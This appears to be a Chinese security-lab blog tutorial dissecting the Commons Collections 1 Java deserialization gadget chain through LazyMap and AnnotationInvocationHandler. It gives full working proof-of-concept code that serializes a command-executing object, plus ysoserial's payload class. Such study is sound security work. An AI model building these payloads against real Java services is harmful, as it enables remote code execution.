-
前文回顾
-
LazyMap 利用链(其中之一)
-
LazyMap.get()
-
AnnotationInvocationHandler.invoke()
-
AnnotationInvocationHandler.readObject()
-
Yoserial 利用链构造分析
-
Ending......
Apache Commons 是 Apache软件基金会 的项目,曾隶属于 Jakarta 项目。Commons 的目的是提供可重用的、开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。
在上一篇文章《Commons Collections Gadget (TransformedMap)》中,我们对 Commons Collections 反序列化的 TransformedMap 这条利用链进行了分析,整个 Gadget Chain 的调用过程如下所示:
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.entrySet()
AbstractInputCheckedMapDecorator$EntrySet.iterator()
AbstractInputCheckedMapDecorator$EntrySetIterator.next()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
但是当我们查看 ysoserial 中的代码时,会发现有关 Commons Collections 的几条链子并没有 TransformedMap,而是改用了 LazyMap。因此,在接下来的几篇文章中,我们将借助 ysoserial 中的几条链子来分析 LazyMap 的利用路径。
前文回顾
在前文中,我们通过 InvokerTransformer、ConstantTransformer 以及 ChainedTransformer 类构造组合链,成国公编写出了一个可以执行命令的 Demo:
package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class CCOriginal {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
// 传入 java.lang.Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 反射调用 exec() 方法
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("test"); // 最终还是需要调用 transform() 方法
}
}
如下图所示,运行后,成功执行命令并弹出了计算器:
但是此时仍然需要手动执行 transform()
方法才能触发攻击。而在实际的反序列化漏洞中,我们要求攻击自动触发,这就需要我们找到一个地方,使其在反序列化过程中自动调用 transform()
方法,例如 readObject()
中。
因此,我们引出了 TransformedMap 和 LazyMap 这两条经典的利用链,并对 TransformedMap 利用链的利用路径进行了详细的分析。除此之外,LazyMap 类也可以为我们提供一条不错的攻击路径。
LazyMap 利用链(其中之一)
与前文中发现 TransformedMap 利用链的思路类似,我们在发现 LazyMap 这个可用的类时仍需按照以下思路展开:
-
找到一个 readObject()
方法或其重写方法,该方法会自动地、直接地或间接地调用一个transform()
方法。 -
自动调用的 transform()
方法所属的实例对象可控。因为我们需要将其设为前面代码中的transformerChain
,也就是 ChainedTransformer 类的实例对象。
LazyMap.get()
与 TransformedMap.checkSetValue()
方法类似,LazyMap 类提供了一个 get()
方法,并且会在该方法内部掉哟过一个 transform()
方法:
可见,如果我们对 this.factory
可控,使其指向 ChainedTransformer 类的实例对象,那么就可以利用该方法执行 ChainedTransformer.transform()
方法,并进入之前构造好的 java.lang.Runtime.getRuntime().exec()
调用链。
查看分析 LazyMap 类的构造方法,发现其有两个重载,其中一个重载允许传入 Transformer 类型地参数 factory
,并且传入的 factory
参数的值将被赋给 this.factory
:
此外,与 TransformedMap 类的构造方法相同,LazyMap 的构造方法也是 protected 类型,并且该类中也公开了一个 decorate()
方法,因此我们可以通过 decorate()
方法获取 LazyMap 类的实例对象。
综上所述,this.factory
完全可控,我们可以通过将 this.factory
指向 ChainedTransformer 对象来执行 ChainedTransformer.transform()
方法。根据 LazyMap.decorate()
的语法格式,我们需要将其参数 factory
设为 ChainedTransformer 类的一个对象。此外,我们还需要一个 Map 类型的变量,当作 LazyMap.decorate()
的第一个参数。
大概的 Demo 代码如下所示:
...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.get("test");
运行后将成功执行命令并弹出计算器,如下图所示:
那么现在问题来了,如何才能使 LazyMap.get()
方法自动调用呢?我们并没有在类似 readObject()
方法中找到直接调用 get()
方法的地方,不过我们依然在 AnnotationInvocationHandler 类中找到了一条不错的出路。
AnnotationInvocationHandler.invoke()
在 AnnotationInvocationHandler 类的 invoke()
方法中,我们发现了一处 get()
方法调用:
如果 this.memberValues
使可控的,我们可以让它指向 LazyMap 类的实例对象,也就是前面的 outerMap
,那么我们就可以利用 AnnotationInvocationHandler.invoke()
方法执行 LazyMap.get()
方法了。在前一篇文章中我们已经分析过,this.memberValues
将在 AnnotationInvocationHandler 类被实例化时由其构造方法赋值:
因此 this.memberValues
是完全可控的。此外,AnnotationInvocationHandler 构造方法的第一个参数 var1
必须传入一个注释类,也就是 Annotation 类的子类,在 TransformedMap 链中我们传入的是 Retention.class
。此外,还有几个其他的注释类可以代替 Retention,如下图所示:
因此,我们可以将上述的 Demo 修改为如下 POC:
package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
import java.lang.annotation.Retention;
public class CCOriginal {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = new Transformer[] {
// 传入 java.lang.Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 反射调用 exec() 方法
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// outerMap.get("test");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
confunc.setAccessible(true);
InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
AIHObject.invoke("test", CCOriginal.class.getMethod("testMethod"), new Object[]{});
}
// 定义一个参数为空的方法
public static void testMethod() {};
}
运行上述 POC 后将成功执行命令并弹出计算器,如下图所示:
值得注意的是,我们在这个 POC 中定义一个参数为空的方法 testMethod()
,并将反射该方法的结果传入了 AIHObject.invoke()
,这是为了满足 AnnotationInvocationHandler.invoke()
方法的参数和内部逻辑的要求:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
}
}
第一个参数 var2
必须为 java.lang.reflect.Method 类型,var3
为一个 Object 类型的数组。对于var3
,我们可以直接用 new Object[]{}
占位即可,关键是这个 var2
。由于第三行对 var2
调用了 getParameterTypes()
,并要求其返回的数组的长度为 0,如果不为 0 则直接抛出错误 AssertionError("Too many parameters for an annotation method")
。因此,我们需要定义了一个空类型的方法 testMethod()
,并将反射该方法的结果传入了 var2
参数。
分析完 AnnotationInvocationHandler 的 invoke()
方法后,你或许有一些眼熟,这不就是 JDK 原生动态代理吗?想到这里,我查询了一些关于 AnnotationInvocationHandler 类的细节:
也就是说 AnnotationInvocationHandler 本质上就是一个 InvocationHandler,其继承了 InvocationHandler 类,而 AnnotationInvocationHandler.invoke()
方法只不过是 InvocationHandler.invoke()
方法的重写:
熟悉 Java 对象代理模式的师傅们肯定都知道,java.lang.reflect.InvocationHandler 为 JDK 原生动态代理中的调用处理器接口,该接口定义了一个 invoke()
方法,用于集中处理在代理类对象上的方法调用。当程序通过代理对象调用某一个方法时,该方法调用会被自动转发到 InvocationHandler.invoke()
方法来进行调用。
因此,我们能之前所有的 InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
操作都是为 outerMap
这个 LazyMap 对象创建了一个调用处理器。我们可以继续通过这个调用处理器来创建一个代理类对象。当尝试对代理类对象调用方法时,该方法调用会被自动转发到 AnnotationInvocationHandler.invoke()
方法来进行调用,这样就可以成功调用 invoke()
中的 get()
方法了。
那么我们可以构造处如下 Demo:
...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// outerMap.get("test");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
confunc.setAccessible(true);
InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
// 需要调用一个参数为空的方法
proxyMap.xxx();
要想成功触发 AnnotationInvocationHandler.invoke()
方法,还需要对生成的代理类 proxyMap
执行一个无参数的方法。然而,我们并未在 LazMap 类中找到找到符合条件的方法。但由于 LazMap 继承了 Java 内置的 Map 标准接口类,因此我们可以去 Map 中寻找可用的方法。Map 接口中确实存在很多符合条件的方法,但是有一个名为 entrySet()
的方法格外引起我们的注意:
还记得在上一篇文章中分析 TransformedMap 利用链时曾接触过 AbstractInputCheckedMapDecorator.entrySet()
方法,是 TransformedMap 的父类,并且继承了 AbstractMapDecorator 类,而 AbstractMapDecorator 类实现了 Map 接口,因此 AbstractInputCheckedMapDecorator.entrySet()
方法是对 Map 中 entrySet()
方法的重写。
回到正题,为什么我们觉得这个 entrySet()
的方法特别呢?因为我们在一个 AnnotationInvocationHandler.readObject()
方法中发现了一处 entrySet()
的方法调用,这就意味着我们即将实现上一篇文章中所说的 “终极目标”。
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler 类的 readObject()
方法中村咋一处 entrySet()
方法调用。没错,就是 var4
的赋值操作,如下图所示:
而我们在前面说了,this.memberValues
是完全可控的。那么我们可以让 this.memberValues
指向前面 Demo 中生成的代理类对象 proxyMap
,当反序列化操作时,将自动对 proxyMap
调用 entrySet()
方法,该方法调用会被自动转发到 AnnotationInvocationHandler.invoke()
方法来进行调用,这样就实现自动调用 invoke()
中的 get()
方法了。自此,我们成功找到了一条完整的利用链,它将最终进入之前构造好的 java.lang.Runtime.getRuntime().exec()
调用链,并执行系统命令。
最终的反序列化 POC 如下所示:
package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
import java.lang.annotation.Retention;
public class CommonsCollections1 {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = new Transformer[] {
// 传入 java.lang.Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 反射调用 exec() 方法
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// outerMap.get("test");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.class, Map.class);
confunc.setAccessible(true);
InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
InvocationHandler AIHObjectFinal = (InvocationHandler) confunc.newInstance(Retention.class, proxyMap);
File f = new File(".\CommonsCollections1.bin");
FileOutputStream fOut = new FileOutputStream(f);
ObjectOutputStream out = new ObjectOutputStream(fOut);
out.writeObject(AIHObjectFinal);
out.close();
fOut.close();
}
}
执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:
到这里,LazyMap 这条利用链就已经分析完毕了,整个 Gadget Chain 的调用过程如下所示:
AnnotationInvocationHandler.readObject()
Map$Proxy0.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Yoserial 利用链构造分析
对于 Commons Collections 1 这条链子,ysoserial 给出的 POC 构造如下,其本质原理与我们所分析的并无不同,只不过使用了 ysoserial 内置的代理机制。
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
下面我们就来简单分析一下 ysoserial 生成 Commons Collections 1 反序列化 Payload 的流程。我们在第 71 行代码 Gadgets.createMemoitizedProxy
处下断点:
步入 Gadgets.createMemoitizedProxy()
方法,单凭名字也能猜出这个方法用来创建一个代理对象:
这里先是调用了 createMemoizedInvocationHandler()
方法,跟进该方法:
Reflections 作为 ysoserial 中 util 模块中的一个工具,其 Reflections.getFirstCtor()
方法用来实现 Class.forName(name).getDeclaredConstructors()
操作,获取指定类的构造方法。在这里就是获取了 AnnotationInvocationHandler 类的构造方法,然后由 newInstance()
获取实例对象。也就是说 createMemoizedInvocationHandler()
方法用于获取一个调用处理器 InvocationHandler 对象,也就是前面我们自己构造的 POC 中的 AIHObject
。
createMemoizedInvocationHandler()
方法返回后,又调用了 createProxy()
方法,跟进该方法:
其实单凭名字也可以猜出,`createProxy()` 方法用于获取一个代理类对象。也就是说经过 `Gadgets.createMemoitizedProxy(lazyMap, Map.class)` 的一系列调用,最终获取到了一个代理类对象,也就是前面我们自己构造的 POC 中的 `proxyMap`。
因此,ysoserial 所使用的代理机制只不过是对 JDK 原生代理模式的一个封装,二者本质并无不同。那么后续的流程我就不再费口舌了,如果你看懂了我们前半部分的分析,剩下的自然就明白了。
Ending......
原文始发于微信公众号(山警网络空间安全实验室):Commons Collections 1 Gadget
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论